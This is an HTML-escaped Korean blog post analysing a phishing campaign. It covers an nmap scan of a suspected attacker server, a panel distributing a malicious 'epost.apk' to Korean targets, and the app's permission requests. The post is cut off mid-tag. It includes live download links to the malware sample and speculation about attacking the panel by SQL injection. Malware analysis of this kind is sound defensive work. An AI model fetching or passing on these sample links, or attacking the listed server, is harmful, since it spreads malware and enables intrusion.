style=&quot;list-style-type:disc&quot;&gt;&lt;code&gt;27.124.36.32&lt;/code&gt; nmap 스캔 결과&lt;figure class=&quot;image&quot; id=&quot;4da00117-d856-4b2f-a291-2b8df8954b48&quot; style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blog.kakaocdn.net/dn/lfLAk/btrE9SvOL0a/paFdo5d5t0bgiv5RW0PMZk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/lfLAk/btrE9SvOL0a/paFdo5d5t0bgiv5RW0PMZk/img.png&quot; style=&quot;width:711px&quot;/&gt;&lt;/a&gt;&lt;/figure&gt;&lt;p class=&quot;&quot; id=&quot;74f07f7e-5c43-46bb-bdd4-d89ba62e6723&quot;&gt;&lt;code&gt;nmap&lt;/code&gt;을 통해 open 된 포트가 무엇이 있는지 살펴봤다. 포트는 1부터 65535까지 진행한다.&lt;/p&gt;&lt;table class=&quot;simple-table&quot; id=&quot;0dd4b835-1898-4a03-bb28-f74c23e6be41&quot;&gt;&lt;thead class=&quot;simple-table-header&quot;&gt;&lt;tr id=&quot;c3fbbd27-bb6f-471d-9975-01af8a7465b3&quot;&gt;&lt;th class=&quot;simple-table-header-color simple-table-header&quot; id=&quot;weJG&quot; style=&quot;width:167px&quot;&gt;PORT (TCP)&lt;/th&gt;&lt;th class=&quot;simple-table-header-color simple-table-header&quot; id=&quot;Q{G`&quot; style=&quot;width:167px&quot;&gt;STATE&lt;/th&gt;&lt;th class=&quot;simple-table-header-color simple-table-header&quot; id=&quot;qsUh&quot; style=&quot;width:167px&quot;&gt;SERVICE&lt;/th&gt;&lt;th class=&quot;simple-table-header-color simple-table-header&quot; id=&quot;=\b&amp;lt;&quot; style=&quot;width:167px&quot;&gt;비고&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr id=&quot;8fb71cc6-af69-4e90-9e6f-dff4ea915b72&quot;&gt;&lt;th class=&quot;simple-table-header-color simple-table-header&quot; id=&quot;weJG&quot; style=&quot;width:167px&quot;&gt;80&lt;/th&gt;&lt;td class=&quot;&quot; id=&quot;Q{G`&quot; style=&quot;width:167px&quot;&gt;open&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;qsUh&quot; style=&quot;width:167px&quot;&gt;http&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;=\b&amp;lt;&quot; style=&quot;width:167px&quot;&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr id=&quot;a122d17f-f37f-4529-bdb5-afd4986a6a17&quot;&gt;&lt;th class=&quot;simple-table-header-color simple-table-header&quot; id=&quot;weJG&quot; style=&quot;width:167px&quot;&gt;135&lt;/th&gt;&lt;td class=&quot;&quot; id=&quot;Q{G`&quot; style=&quot;width:167px&quot;&gt;filtered&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;qsUh&quot; style=&quot;width:167px&quot;&gt;msrpc&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;=\b&amp;lt;&quot; style=&quot;width:167px&quot;&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr id=&quot;dc51687c-f0d8-4865-b808-7f397c054723&quot;&gt;&lt;th class=&quot;simple-table-header-color simple-table-header&quot; id=&quot;weJG&quot; style=&quot;width:167px&quot;&gt;139&lt;/th&gt;&lt;td class=&quot;&quot; id=&quot;Q{G`&quot; style=&quot;width:167px&quot;&gt;filtered&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;qsUh&quot; style=&quot;width:167px&quot;&gt;netbios-ssn&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;=\b&amp;lt;&quot; style=&quot;width:167px&quot;&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr id=&quot;3460725f-297c-4218-90f8-127de6984851&quot;&gt;&lt;th class=&quot;simple-table-header-color simple-table-header&quot; id=&quot;weJG&quot; style=&quot;width:167px&quot;&gt;179&lt;/th&gt;&lt;td class=&quot;&quot; id=&quot;Q{G`&quot; style=&quot;width:167px&quot;&gt;filtered&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;qsUh&quot; style=&quot;width:167px&quot;&gt;bgp&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;=\b&amp;lt;&quot; style=&quot;width:167px&quot;&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr id=&quot;5e4d3e32-c1b9-4d4f-ab9a-84caffea1caa&quot;&gt;&lt;th class=&quot;simple-table-header-color simple-table-header&quot; id=&quot;weJG&quot; style=&quot;width:167px&quot;&gt;443&lt;/th&gt;&lt;td class=&quot;&quot; id=&quot;Q{G`&quot; style=&quot;width:167px&quot;&gt;open&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;qsUh&quot; style=&quot;width:167px&quot;&gt;https&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;=\b&amp;lt;&quot; style=&quot;width:167px&quot;&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr id=&quot;1f059603-f988-4cc0-9b89-e31aad87123c&quot;&gt;&lt;th class=&quot;simple-table-header-color simple-table-header&quot; id=&quot;weJG&quot; style=&quot;width:167px&quot;&gt;445&lt;/th&gt;&lt;td class=&quot;&quot; id=&quot;Q{G`&quot; style=&quot;width:167px&quot;&gt;filtered&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;qsUh&quot; style=&quot;width:167px&quot;&gt;microsoft-ds&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;=\b&amp;lt;&quot; style=&quot;width:167px&quot;&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr id=&quot;b415d2fe-7887-47af-81c6-09c6ead60841&quot;&gt;&lt;th class=&quot;simple-table-header-color simple-table-header&quot; id=&quot;weJG&quot; style=&quot;width:167px&quot;&gt;593&lt;/th&gt;&lt;td class=&quot;&quot; id=&quot;Q{G`&quot; style=&quot;width:167px&quot;&gt;filtered&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;qsUh&quot; style=&quot;width:167px&quot;&gt;http-rpc-epmap&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;=\b&amp;lt;&quot; style=&quot;width:167px&quot;&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr id=&quot;3078ef83-1420-4284-953c-985707afc091&quot;&gt;&lt;th class=&quot;simple-table-header-color simple-table-header&quot; id=&quot;weJG&quot; style=&quot;width:167px&quot;&gt;1434&lt;/th&gt;&lt;td class=&quot;&quot; id=&quot;Q{G`&quot; style=&quot;width:167px&quot;&gt;filtered&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;qsUh&quot; style=&quot;width:167px&quot;&gt;ms-sql-m&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;=\b&amp;lt;&quot; style=&quot;width:167px&quot;&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr id=&quot;2a855c8f-23d5-45e3-b6c2-5852b6aff92a&quot;&gt;&lt;th class=&quot;simple-table-header-color simple-table-header&quot; id=&quot;weJG&quot; style=&quot;width:167px&quot;&gt;1900&lt;/th&gt;&lt;td class=&quot;&quot; id=&quot;Q{G`&quot; style=&quot;width:167px&quot;&gt;filtered&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;qsUh&quot; style=&quot;width:167px&quot;&gt;upnp&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;=\b&amp;lt;&quot; style=&quot;width:167px&quot;&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr id=&quot;115dd35a-6db6-4fb6-be73-73e397f7662e&quot;&gt;&lt;th class=&quot;simple-table-header-color simple-table-header&quot; id=&quot;weJG&quot; style=&quot;width:167px&quot;&gt;2869&lt;/th&gt;&lt;td class=&quot;&quot; id=&quot;Q{G`&quot; style=&quot;width:167px&quot;&gt;filtered&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;qsUh&quot; style=&quot;width:167px&quot;&gt;icslap&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;=\b&amp;lt;&quot; style=&quot;width:167px&quot;&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr id=&quot;98d27dd3-2d0e-4fc4-8ac5-e00e77e37000&quot;&gt;&lt;th class=&quot;simple-table-header-color simple-table-header&quot; id=&quot;weJG&quot; style=&quot;width:167px&quot;&gt;4444&lt;/th&gt;&lt;td class=&quot;&quot; id=&quot;Q{G`&quot; style=&quot;width:167px&quot;&gt;filtered&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;qsUh&quot; style=&quot;width:167px&quot;&gt;krb524&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;=\b&amp;lt;&quot; style=&quot;width:167px&quot;&gt;(의심) Blaster 웜 바이러스&lt;/td&gt;&lt;/tr&gt;&lt;tr id=&quot;da7dc0fc-0b39-41b2-a184-a4bc02acb7f8&quot;&gt;&lt;th class=&quot;simple-table-header-color simple-table-header&quot; id=&quot;weJG&quot; style=&quot;width:167px&quot;&gt;5357&lt;/th&gt;&lt;td class=&quot;&quot; id=&quot;Q{G`&quot; style=&quot;width:167px&quot;&gt;open&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;qsUh&quot; style=&quot;width:167px&quot;&gt;wsdapi&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;=\b&amp;lt;&quot; style=&quot;width:167px&quot;&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr id=&quot;db9eab9a-cabb-47dc-b370-d5c4b7ad8887&quot;&gt;&lt;th class=&quot;simple-table-header-color simple-table-header&quot; id=&quot;weJG&quot; style=&quot;width:167px&quot;&gt;5985&lt;/th&gt;&lt;td class=&quot;&quot; id=&quot;Q{G`&quot; style=&quot;width:167px&quot;&gt;open&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;qsUh&quot; style=&quot;width:167px&quot;&gt;wsman&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;=\b&amp;lt;&quot; style=&quot;width:167px&quot;&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr id=&quot;3a8e5d6b-86e1-466f-ae30-1ea3f9fcb8c8&quot;&gt;&lt;th class=&quot;simple-table-header-color simple-table-header&quot; id=&quot;weJG&quot; style=&quot;width:167px&quot;&gt;8100&lt;/th&gt;&lt;td class=&quot;&quot; id=&quot;Q{G`&quot; style=&quot;width:167px&quot;&gt;open&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;qsUh&quot; style=&quot;width:167px&quot;&gt;xprint-server&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;=\b&amp;lt;&quot; style=&quot;width:167px&quot;&gt;리눅스 프린터&lt;/td&gt;&lt;/tr&gt;&lt;tr id=&quot;c8fded72-51cc-4a13-8fc6-897475603426&quot;&gt;&lt;th class=&quot;simple-table-header-color simple-table-header&quot; id=&quot;weJG&quot; style=&quot;width:167px&quot;&gt;10081&lt;/th&gt;&lt;td class=&quot;&quot; id=&quot;Q{G`&quot; style=&quot;width:167px&quot;&gt;open&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;qsUh&quot; style=&quot;width:167px&quot;&gt;famdc&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;=\b&amp;lt;&quot; style=&quot;width:167px&quot;&gt;epost 배포 관리 페이지&lt;/td&gt;&lt;/tr&gt;&lt;tr id=&quot;b91fe997-4b76-401b-bbea-194a3a4d3475&quot;&gt;&lt;th class=&quot;simple-table-header-color simple-table-header&quot; id=&quot;weJG&quot; style=&quot;width:167px&quot;&gt;11211&lt;/th&gt;&lt;td class=&quot;&quot; id=&quot;Q{G`&quot; style=&quot;width:167px&quot;&gt;filtered&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;qsUh&quot; style=&quot;width:167px&quot;&gt;memcache&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;=\b&amp;lt;&quot; style=&quot;width:167px&quot;&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr id=&quot;2a46eb7c-7846-4939-bbcd-6eef05c27cb7&quot;&gt;&lt;th class=&quot;simple-table-header-color simple-table-header&quot; id=&quot;weJG&quot; style=&quot;width:167px&quot;&gt;23389&lt;/th&gt;&lt;td class=&quot;&quot; id=&quot;Q{G`&quot; style=&quot;width:167px&quot;&gt;open&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;qsUh&quot; style=&quot;width:167px&quot;&gt;unknown&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;=\b&amp;lt;&quot; style=&quot;width:167px&quot;&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr id=&quot;5932eed7-5f8b-4523-a326-94c63ce73420&quot;&gt;&lt;th class=&quot;simple-table-header-color simple-table-header&quot; id=&quot;weJG&quot; style=&quot;width:167px&quot;&gt;47001&lt;/th&gt;&lt;td class=&quot;&quot; id=&quot;Q{G`&quot; style=&quot;width:167px&quot;&gt;open&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;qsUh&quot; style=&quot;width:167px&quot;&gt;winrm&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;=\b&amp;lt;&quot; style=&quot;width:167px&quot;&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr id=&quot;647dec31-8e95-4258-8543-590aad2bdbaf&quot;&gt;&lt;th class=&quot;simple-table-header-color simple-table-header&quot; id=&quot;weJG&quot; style=&quot;width:167px&quot;&gt;52233&lt;/th&gt;&lt;td class=&quot;&quot; id=&quot;Q{G`&quot; style=&quot;width:167px&quot;&gt;open&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;qsUh&quot; style=&quot;width:167px&quot;&gt;unknown&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;=\b&amp;lt;&quot; style=&quot;width:167px&quot;&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr id=&quot;b3b04354-bdd8-4d7c-9605-57fb29642398&quot;&gt;&lt;th class=&quot;simple-table-header-color simple-table-header&quot; id=&quot;weJG&quot; style=&quot;width:167px&quot;&gt;52234&lt;/th&gt;&lt;td class=&quot;&quot; id=&quot;Q{G`&quot; style=&quot;width:167px&quot;&gt;open&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;qsUh&quot; style=&quot;width:167px&quot;&gt;unknown&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;=\b&amp;lt;&quot; style=&quot;width:167px&quot;&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/li&gt;&lt;/ul&gt;&lt;ul class=&quot;bulleted-list&quot; id=&quot;87d69a46-0074-4168-b699-f0433db79e11&quot;&gt;&lt;li style=&quot;list-style-type:disc&quot;&gt;8100 포트&lt;p class=&quot;&quot; id=&quot;2aafaf3a-d228-442a-8ca9-3aec67899a31&quot;&gt;눈에 띄는 서비스 중 Linux에서 사용하는 &lt;code&gt;xprint-server&lt;/code&gt;라고 무선 프린터 서버가 &lt;code&gt;8100&lt;/code&gt; 포트로 열려있었다.&lt;/p&gt;&lt;figure class=&quot;image&quot; id=&quot;171fd8e2-cfb8-4461-b271-9f35466810a9&quot; style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blog.kakaocdn.net/dn/cwdgbI/btrFe3v9OdY/O0jsxbPNefJkgKwBrGiy9K/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cwdgbI/btrFe3v9OdY/O0jsxbPNefJkgKwBrGiy9K/img.png&quot; style=&quot;width:2407px&quot;/&gt;&lt;/a&gt;&lt;/figure&gt;&lt;p class=&quot;&quot; id=&quot;eebb646c-7695-4b5d-bb9c-93b5c3f8c4d8&quot;&gt;해당 포트로 접속하니 매우 중국스러운 사이트가 보였다.&lt;/p&gt;&lt;figure class=&quot;image&quot; id=&quot;b4f8c690-627c-464b-be5d-3fce3b9a9ab4&quot; style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blog.kakaocdn.net/dn/9ssEs/btrFbNOlzDP/Ge6yuVskqYo5nz9IsRiuzK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/9ssEs/btrFbNOlzDP/Ge6yuVskqYo5nz9IsRiuzK/img.png&quot; style=&quot;width:2780px&quot;/&gt;&lt;/a&gt;&lt;/figure&gt;&lt;p class=&quot;&quot; id=&quot;18d62cb7-13f0-45ae-b1e0-e90e0996813f&quot;&gt;중국어를 번역해보니 역시나 프린터 로그가 담겨진 데이터임을 알 수 있다.&lt;/p&gt;&lt;p class=&quot;&quot; id=&quot;e942a3d0-b929-43d2-92f9-1e45ca30e7aa&quot;&gt;여담으로 2014년에 알려진 RCE 취약점으로 &lt;code&gt;CVE-2014-9002&lt;/code&gt;PoC는 먹히지 않았다.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;ul class=&quot;bulleted-list&quot; id=&quot;2001008e-7024-4c40-a628-379e2b0202f6&quot;&gt;&lt;li style=&quot;list-style-type:disc&quot;&gt;10081 포트&lt;figure class=&quot;image&quot; id=&quot;2efb2992-2ef1-4c2f-bd14-6db04c7a786b&quot; style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blog.kakaocdn.net/dn/bENV9N/btrFciggCCN/ND0VCzk6v3fSWT3XS6LBpk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bENV9N/btrFciggCCN/ND0VCzk6v3fSWT3XS6LBpk/img.png&quot; style=&quot;width:727px&quot;/&gt;&lt;/a&gt;&lt;/figure&gt;&lt;p class=&quot;&quot; id=&quot;6c05c88a-5467-4abc-b4be-170479d78788&quot;&gt;해당 포트에 접속하니 악성 앱인 &lt;code&gt;epost.apk&lt;/code&gt;를 배포하는 모니터링 페이지로 보인다.&lt;/p&gt;&lt;p class=&quot;&quot; id=&quot;977689e8-fbbf-4adf-b624-671554e69114&quot;&gt;또한, 페이지 이름이 &lt;code&gt;한국어 다운로드&lt;/code&gt; 이라는 점을 볼때 타겟은 대한민국이다.&lt;/p&gt;&lt;ul class=&quot;bulleted-list&quot; id=&quot;f863767a-63fb-4281-abf5-d473a21351bd&quot;&gt;&lt;li style=&quot;list-style-type:circle&quot;&gt;페이지 별 특징&lt;ul class=&quot;bulleted-list&quot; id=&quot;d8f53bd9-9769-404d-b4cc-d9694038bbe0&quot;&gt;&lt;li style=&quot;list-style-type:square&quot;&gt;查看404 (404 보기)&lt;figure class=&quot;image&quot; id=&quot;929c7b5c-8496-43f6-a66d-334aebb3fddc&quot; style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blog.kakaocdn.net/dn/Z2I4A/btrFaOta0nj/AHmj0siRAdkwuLK6vNmJ91/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Z2I4A/btrFaOta0nj/AHmj0siRAdkwuLK6vNmJ91/img.png&quot; style=&quot;width:2153px&quot;/&gt;&lt;/a&gt;&lt;/figure&gt;&lt;/li&gt;&lt;/ul&gt;&lt;ul class=&quot;bulleted-list&quot; id=&quot;7713fab9-848b-458a-8f52-019dc6d472bd&quot;&gt;&lt;li style=&quot;list-style-type:square&quot;&gt;查看.js (.js 보기)&lt;figure class=&quot;image&quot; id=&quot;4c670efe-21ee-48dd-bde5-8f7f6b709c77&quot; style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blog.kakaocdn.net/dn/EGUPy/btrFchPdMc0/zKBywD7E5HWXeZ9L8H75m0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/EGUPy/btrFchPdMc0/zKBywD7E5HWXeZ9L8H75m0/img.png&quot; style=&quot;width:604px&quot;/&gt;&lt;/a&gt;&lt;/figure&gt;&lt;/li&gt;&lt;/ul&gt;&lt;ul class=&quot;bulleted-list&quot; id=&quot;6c1e34f5-510c-487a-a644-e3d22a679dfe&quot;&gt;&lt;li style=&quot;list-style-type:square&quot;&gt;查看.apk (.apk 보기)&lt;figure class=&quot;image&quot; id=&quot;37b42da1-747a-4808-8bba-15da262d0433&quot; style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blog.kakaocdn.net/dn/lbqLr/btrFaOzT1SR/6PFQK6MFuknIjNayOEkrZ0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/lbqLr/btrFaOzT1SR/6PFQK6MFuknIjNayOEkrZ0/img.png&quot; style=&quot;width:606px&quot;/&gt;&lt;/a&gt;&lt;/figure&gt;&lt;/li&gt;&lt;/ul&gt;&lt;ul class=&quot;bulleted-list&quot; id=&quot;83aeccdb-a645-454a-96b7-432431a2a340&quot;&gt;&lt;li style=&quot;list-style-type:square&quot;&gt;查看未匹配的URL (일치하지 않는 URL 보기)&lt;figure class=&quot;image&quot; id=&quot;dbb97163-a954-46e8-9e26-604b8253ddeb&quot; style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blog.kakaocdn.net/dn/u29qc/btrFdGnEBbk/ooFzsTmX3f96aUd42jDHR1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/u29qc/btrFdGnEBbk/ooFzsTmX3f96aUd42jDHR1/img.png&quot; style=&quot;width:1155px&quot;/&gt;&lt;/a&gt;&lt;/figure&gt;&lt;/li&gt;&lt;/ul&gt;&lt;ul class=&quot;bulleted-list&quot; id=&quot;df1b80f2-292b-4250-a769-3c36a0d1b588&quot;&gt;&lt;li style=&quot;list-style-type:square&quot;&gt;查看未匹配的主机 (일치하지 않는 호스트 보기)&lt;figure class=&quot;image&quot; id=&quot;e007da1c-7ee6-4e41-943c-16fb84fd4a95&quot; style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blog.kakaocdn.net/dn/xgq8H/btrFfZ1i9bJ/sfgrpWlll22McNCvTNYBY0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/xgq8H/btrFfZ1i9bJ/sfgrpWlll22McNCvTNYBY0/img.png&quot; style=&quot;width:601px&quot;/&gt;&lt;/a&gt;&lt;/figure&gt;&lt;/li&gt;&lt;/ul&gt;&lt;ul class=&quot;bulleted-list&quot; id=&quot;12edf9e9-498e-4a43-95f3-dd998d9dc958&quot;&gt;&lt;li style=&quot;list-style-type:square&quot;&gt;查看账号 (계정 보기)&lt;figure class=&quot;image&quot; id=&quot;46bb7434-f9f8-466f-a2bf-7488ff31ff86&quot; style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blog.kakaocdn.net/dn/c5jZoI/btrE9RKs9AY/4MGIjJtWKSmcjCyjkOFKWK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/c5jZoI/btrE9RKs9AY/4MGIjJtWKSmcjCyjkOFKWK/img.png&quot; style=&quot;width:290px&quot;/&gt;&lt;/a&gt;&lt;/figure&gt;&lt;p class=&quot;&quot; id=&quot;73f57363-836f-4696-b657-497c958c928b&quot;&gt;해당 페이지는 탈취한 계정이 담겨진 테이블인 것 같다. 그러나 보이는 정보는 없었다.&lt;/p&gt;&lt;p class=&quot;&quot; id=&quot;9851ffd4-9dfb-4a03-b99d-5f2e74aac7ed&quot;&gt;SQL 인젝션 취약점을 잘 공략하면 서버를 탈취하는 시나리오도 있을 것 같다.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;/ul&gt;&lt;ul class=&quot;bulleted-list&quot; id=&quot;69cc84ca-3665-4444-8d29-f870646658bf&quot;&gt;&lt;li style=&quot;list-style-type:circle&quot;&gt;epost.apk 추출&lt;p class=&quot;&quot; id=&quot;518cff32-63d3-433f-bc76-1c5949f41182&quot;&gt;크롬과 같이 일반 웹 사이트에서는 APK 파일을 받아올 수 없지만, Android 단말기에서는 다운로드할 수 있다.&lt;/p&gt;&lt;figure class=&quot;image&quot; id=&quot;b791a80a-23fa-446d-a87b-cc8cda49e7a0&quot; style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blog.kakaocdn.net/dn/cTnJ9k/btrE9Siisks/6MWh8lmlEpmT5PDZJkJM20/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cTnJ9k/btrE9Siisks/6MWh8lmlEpmT5PDZJkJM20/img.png&quot; style=&quot;width:643px&quot;/&gt;&lt;/a&gt;&lt;figcaption&gt;&lt;a href=&quot;http://hnlji.bxvae.com/epost.apk&quot;&gt;http://hnlji.bxvae.com/epost.apk&lt;/a&gt;&lt;/figcaption&gt;&lt;/figure&gt;&lt;figure id=&quot;748f3277-6a36-403b-9715-1d4461dd6ce3&quot;&gt;&lt;div class=&quot;source&quot;&gt;&lt;a href=&quot;%5BPhishing%5D%20%E1%84%8B%E1%85%AE%E1%84%8E%E1%85%A6%E1%84%80%E1%85%AE%E1%86%A8%20%E1%84%89%E1%85%A1%E1%84%8E%E1%85%B5%E1%86%BC%20%E1%84%8B%E1%85%A5%E1%84%91%E1%85%B3%E1%86%AF%20epost%20apk%20%E1%84%87%E1%85%AE%E1%86%AB%E1%84%89%E1%85%A5%E1%86%A8%20%E1%84%87%E1%85%A9%20979577e4c1034ff7b84ce860bcd7b6ac/epost.zip&quot;&gt;https://s3-us-west-2.amazonaws.com/secure.notion-static.com/c5feb4f7-f6f1-4015-82e2-c6d017bebe25/epost.zip&lt;/a&gt;&lt;/div&gt;&lt;/figure&gt;&lt;figure class=&quot;image&quot; id=&quot;3b3e9d8e-13af-4814-a178-6807a82167d6&quot; style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blog.kakaocdn.net/dn/bO4Y0G/btrFaOzT11M/k7JCLehe0S5b7VNH7k2PVk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bO4Y0G/btrFaOzT11M/k7JCLehe0S5b7VNH7k2PVk/img.png&quot; style=&quot;width:287px&quot;/&gt;&lt;/a&gt;&lt;/figure&gt;&lt;p class=&quot;&quot; id=&quot;08691ef9-2590-4c7c-a231-b13c5c11d482&quot;&gt;이렇게 APK 파일을 받는 순간 모니터링 페이지에도 카운팅되는 점을 알 수 있다.&lt;/p&gt;&lt;figure class=&quot;image&quot; id=&quot;20d6a26d-9dcf-4aee-b4f2-934c82c50b4c&quot; style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blog.kakaocdn.net/dn/bkeRR9/btrFfY2p6KZ/5rxEKu4UawxaphaxOh21Jk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bkeRR9/btrFfY2p6KZ/5rxEKu4UawxaphaxOh21Jk/img.png&quot; style=&quot;width:723px&quot;/&gt;&lt;/a&gt;&lt;figcaption&gt;다운 전&lt;/figcaption&gt;&lt;/figure&gt;&lt;figure class=&quot;image&quot; id=&quot;b3ddfe32-ee0a-49a2-b75b-a62c479f8734&quot; style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blog.kakaocdn.net/dn/bFbS8O/btrFdH7UExs/680tvYEaeYz24MIytsXdN0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bFbS8O/btrFdH7UExs/680tvYEaeYz24MIytsXdN0/img.png&quot; style=&quot;width:720px&quot;/&gt;&lt;/a&gt;&lt;figcaption&gt;다운 후&lt;/figcaption&gt;&lt;/figure&gt;&lt;p class=&quot;&quot; id=&quot;2315a567-1456-4b17-8cc2-062fc8a69e75&quot;&gt;카운터가 1씩 올라가야하는데 지금도 피해자가 계속 발생하고 있다.&lt;/p&gt;&lt;figure class=&quot;image&quot; id=&quot;405caf12-4136-45ca-8bc3-29a527ec01ca&quot; style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blog.kakaocdn.net/dn/bp64uq/btrFbMPqhXx/dPDzDKhU62BT8nqED0cB50/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bp64uq/btrFbMPqhXx/dPDzDKhU62BT8nqED0cB50/img.png&quot; style=&quot;width:541px&quot;/&gt;&lt;/a&gt;&lt;/figure&gt;&lt;p class=&quot;&quot; id=&quot;54cdb9b0-17a2-460d-9809-823fc363f8f1&quot;&gt;앱을 설치하기 위해 라이브러리 조건에 맞춰&lt;code&gt;armeabi-v7a&lt;/code&gt; 호환되는 기종을 준비하였다.&lt;/p&gt;&lt;p class=&quot;&quot; id=&quot;f319c14b-1e01-4785-b6ad-3ca2241eed67&quot;&gt;설치하는 과정에서 Play 프로텍트가 대응하고 있는 점이 다행이라 생각한다.&lt;/p&gt;&lt;figure class=&quot;image&quot; id=&quot;433b106d-2b70-4a36-9573-76c5736a1c14&quot; style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blog.kakaocdn.net/dn/cIWEUA/btrFbOfrfCm/nlEWEgiM1oK02428tpcqek/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cIWEUA/btrFbOfrfCm/nlEWEgiM1oK02428tpcqek/img.png&quot; style=&quot;width:615px&quot;/&gt;&lt;/a&gt;&lt;/figure&gt;&lt;p class=&quot;&quot; id=&quot;3d66ba27-8959-49e9-b656-56c8733436ee&quot;&gt;분석을 위해 Play 프로텍트 기능을 차단하면 정상적으로 설치가 진행된다.&lt;/p&gt;&lt;p class=&quot;&quot; id=&quot;61adb7e7-b9d2-400e-bf96-667d1adb665d&quot;&gt;이때 &lt;code&gt;전화&lt;/code&gt;, &lt;code&gt;저장공간&lt;/code&gt;, &lt;code&gt;SMS&lt;/code&gt;, &lt;code&gt;연락처&lt;/code&gt; 권한을 요구한다.&lt;/p&gt;&lt;figure class=&quot;image&quot; id=&quot;d5bd9407-6cd2-4a2f-8b28-e40eb616db86&quot; style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blog.kakaocdn.net/dn/Q5UzY/btrFfYnN1Zs/V16r8FhfSkiQtnV60V3yvk/img.png&quot;&gt;&lt;img 